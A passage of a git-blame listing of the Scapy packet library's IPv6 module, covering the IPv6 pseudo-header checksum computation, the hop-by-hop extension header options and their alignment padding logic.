636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.options = old_selfup_opts 637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.chksum = old_selfup_cksum 638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.dataofs = old_selfup_dataofs 639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return res 641c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6425e8857410015a93f6371459b2f870432ded39b9fgpotter s1 = raw(selfup) 6435e8857410015a93f6371459b2f870432ded39b9fgpotter s2 = raw(otherup) 644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = min(len(s1), len(s2)) 645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s1[:l] == s2[:l] 646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 6480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def mysummary(self): 650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return Packet.mysummary(self) 651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Upper Layer Checksum computation ### 656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation 660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Pseudo IPv6 Header" 661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ IP6Field("src", "::"), 662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("dst", "::"), 66377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil ShortField("uplen", None), 664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("zero", 0, 24), 6650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz ByteField("nh", 0) ] 666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef in6_chksum(nh, u, p): 668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 669caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter As Specified in RFC 2460 - 8.1 Upper-Layer Checksums 670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 671caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter Performs IPv6 Upper Layer checksum computation. Provided parameters are: 6720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz - 'nh' : value of upper layer protocol 6730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be 6740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz provided with all under layers (IPv6 and all extension headers, 675c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for example) 676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil - 'p' : the payload of the upper layer provided as a string 677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Functions operate by filling a pseudo header class instance (PseudoIPv6) 679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil with 680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil - Next Header value 681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil - the address of _final_ destination (if some Routing Header with non 682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil segleft field is present in underlayer classes, last address is used.) 6830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz - the address of _real_ source (basically the source address of an 684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IPv6 class instance available in the underlayer or the source address 685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil in HAO option if some Destination Option header found in underlayer 686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil includes this option). 687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil - the length is the length of provided payload string ('p') 688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ph6 = PseudoIPv6() 691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ph6.nh = nh 692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil rthdr = 0 693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil hahdr = 0 694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil final_dest_addr_found = 0 695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while u != None and not isinstance(u, IPv6): 69677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if (isinstance(u, IPv6ExtHdrRouting) and 69777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil u.segleft != 0 and len(u.addresses) != 0 and 698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil final_dest_addr_found == 0): 69977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil rthdr = u.addresses[-1] 700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil final_dest_addr_found = 1 7018d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux elif (isinstance(u, IPv6ExtHdrSegmentRouting) and 7028d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux u.segleft != 0 and len(u.addresses) != 0 and 7038d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux final_dest_addr_found == 0): 7048d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux rthdr = u.addresses[0] 7058d1b927dcc57492d7ebf0923c61394e8b67db3e1Mathieu Xhonneux final_dest_addr_found = 1 70677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and 707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil isinstance(u.options[0], HAO)): 708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil hahdr = u.options[0].hoa 70977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil u = u.underlayer 7100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if u is None: 71177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil warning("No IPv6 underlayer to compute checksum. Leaving null.") 71277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return 0 7130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if hahdr: 71477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil ph6.src = hahdr 715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ph6.src = u.src 717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if rthdr: 71877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil ph6.dst = rthdr 719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 72077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil ph6.dst = u.dst 721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ph6.uplen = len(p) 7225e8857410015a93f6371459b2f870432ded39b9fgpotter ph6s = raw(ph6) 723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return checksum(ph6s+p) 724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil### Extension Headers ### 729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################################################################# 731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Inherited by all extension header classes 734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6ExtHdr(_IPv6GuessPayload, Packet): 735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = 'Abstract IPV6 Option Header' 736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil aliastypes = [IPv6, IPerror6] # TODO ... 737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#################### IPv6 options for Extension Headers ##################### 740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhopts = { 0x00: "Pad1", 742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x01: "PadN", 743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x04: "Tunnel Encapsulation Limit", 744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x05: "Router Alert", 745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x06: "Quick-Start", 746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0xc2: "Jumbo Payload", 747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0xc9: "Home Address Option" } 748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _OTypeField(ByteEnumField): 7500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz """ 751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Modified BytEnumField that displays information regarding the IPv6 option 752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil based on its option type value (What should be done by nodes that process 753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil the option if they do not understand it ...) 754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 7550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options 756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil pol = {0x00: "00: skip", 758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x40: "01: discard", 759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x80: "10: discard+ICMP", 760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0xC0: "11: discard+ICMP not mcast"} 7610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil enroutechange = {0x00: "0: Don't change en-route", 763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x20: "1: May change en-route" } 764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s = self.i2s.get(x, repr(x)) 767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil polstr = self.pol[(x & 0xC0)] 768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil enroutechangestr = self.enroutechange[(x & 0x20)] 769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "%s [%s, %s]" % (s, polstr, enroutechangestr) 770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option 772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Scapy6 Unknown Option" 7730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz fields_desc = [_OTypeField("otype", 0x01, _hbhopts), 774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("optlen", None, length_of="optdata", fmt="B"), 775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("optdata", "", 7760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz length_from = lambda pkt: pkt.optlen) ] 777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # By default, no alignment requirement 778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 7790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz As specified in section 4.2 of RFC 2460, every options has 7800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz an alignment requirement ususally expressed xn+y, meaning 7810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz the Option Type must appear at an integer multiple of x octest 782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil from the start of the header, plus y octet. 7830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil That function is provided the current position from the 785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil start of the header and returns required padding length. 786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Pad1(Packet): # IPv6 Hop-By-Hop Option 790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Pad1" 791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ] 792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # No alignment requirement 793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PadN(Packet): # IPv6 Hop-By-Hop Option 7960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz name = "PadN" 797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [_OTypeField("otype", 0x01, _hbhopts), 798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("optlen", None, length_of="optdata", fmt="B"), 799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrLenField("optdata", "", 800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil length_from = lambda pkt: pkt.optlen)] 801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # No alignment requirement 802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option 805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Router Alert" 806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [_OTypeField("otype", 0x05, _hbhopts), 807f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero ByteField("optlen", 2), 808f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero ShortEnumField("value", None, 809f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero { 0: "Datagram contains a MLD message", 810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 1: "Datagram contains RSVP message", 811f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero 2: "Datagram contains an Active Network message", 812f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero 68: "NSIS NATFW NSLP", 813f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero 69: "MPLS OAM", 814f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero 65535: "Reserved" })] 815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # TODO : Check IANA has not defined new values for value field of RouterAlertOption 816f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero # TODO : Now that we have that option, we should do something in MLD class that need it 817f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero # TODO : IANA has defined ranges of values which can't be easily represented here. 818f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml 819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # alignment requirement : 2n+0 820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 2 ; y = 0 82163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter delta = x*((curpos - y + x - 1)//x) + y - curpos 822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return delta 823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Jumbo(Packet): # IPv6 Hop-By-Hop Option 8250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz name = "Jumbo Payload" 826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), 827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("optlen", 4), 828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IntField("jumboplen", None) ] 829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # alignment requirement : 4n+2 830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 4 ; y = 2 83163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter delta = x*((curpos - y + x - 1)//x) + y - curpos 832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return delta 833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HAO(Packet): # IPv6 Destination Options Header Option 835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Home Address Option" 836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), 837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("optlen", 16), 838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil IP6Field("hoa", "::") ] 839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def alignment_delta(self, curpos): # alignment requirement : 8n+6 840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = 8 ; y = 6 84163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter delta = x*((curpos - y + x - 1)//x) + y - curpos 842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return delta 843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhoptcls = { 0x00: Pad1, 845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x01: PadN, 846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0x05: RouterAlert, 847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0xC2: Jumbo, 848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 0xC9: HAO } 849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Hop-by-Hop Extension Header ######################## 852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _HopByHopOptionsField(PacketListField): 854b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["curpos"] 855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): 856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.curpos = curpos 857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) 8580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2len(self, pkt, i): 860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = len(self.i2m(pkt, i)) 861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return l 862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2count(self, pkt, i): 864d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if isinstance(i, list): 865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return len(i) 866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c = l = None 870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.length_from is not None: 871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.length_from(pkt) 872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif self.count_from is not None: 873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c = self.count_from(pkt) 8740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil opt = [] 8761186356a1d73fd59b700d8af05e789d0e8899de6gpotter ret = b"" 877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = s 878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l is not None: 879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x,ret = s[:l],s[l:] 880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while x: 881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if c is not None: 882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if c <= 0: 883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil break 884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c -= 1 885b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter o = orb(x[0]) # Option type 886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = self.cls 887d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if o in _hbhoptcls: 888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cls = _hbhoptcls[o] 889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil op = cls(x) 891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil op = self.cls(x) 893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil opt.append(op) 8947b3e970663abd72697e17b70aba9943ae0dad404Phil if isinstance(op.payload, conf.raw_layer): 895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = op.payload.load 896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil del(op.payload) 897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 8981186356a1d73fd59b700d8af05e789d0e8899de6gpotter x = b"" 899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x+ret,opt 900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = None 903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field 905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil autopad = 1 9070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not autopad: 9091186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"".join(map(str, x)) 910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos = self.curpos 9121186356a1d73fd59b700d8af05e789d0e8899de6gpotter s = b"" 913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for p in x: 914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = p.alignment_delta(curpos) 915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos += d 916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 1: 9175e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(Pad1()) 918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d != 0: 9195e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(PadN(optdata=b'\x00'*(d-2))) 9205e8857410015a93f6371459b2f870432ded39b9fgpotter pstr = raw(p) 921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil curpos += len(pstr) 922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s += pstr 9230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Let's make the class including our option field 925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # a multiple of 8 octets long 926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = curpos % 8 927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 0: 928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = 8 - d 930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d == 1: 9315e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(Pad1()) 932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d != 0: 9335e8857410015a93f6371459b2f870432ded39b9fgpotter s += raw(PadN(optdata=b'\x00'*(d-2))) 934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s+self.i2m(pkt, val) 939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _PhantomAutoPadField(ByteField): 941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s 943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s, 1 946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x: 949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "On" 950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "Off" 951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 9530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrHopByHop(_IPv6ExtHdr): 954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 Extension Header - Hop-by-Hop Options Header" 955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("nh", 59, ipv6nh), 956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil FieldLenField("len", None, length_of="options", fmt="B", 95763ae11708b02df74dd3e8d2385d2829f3d622d66gpotter adjust = lambda pkt,x: (x+2+7)//8 - 1), 958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil _PhantomAutoPadField("autopad", 1), # autopad activated by default 95977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil 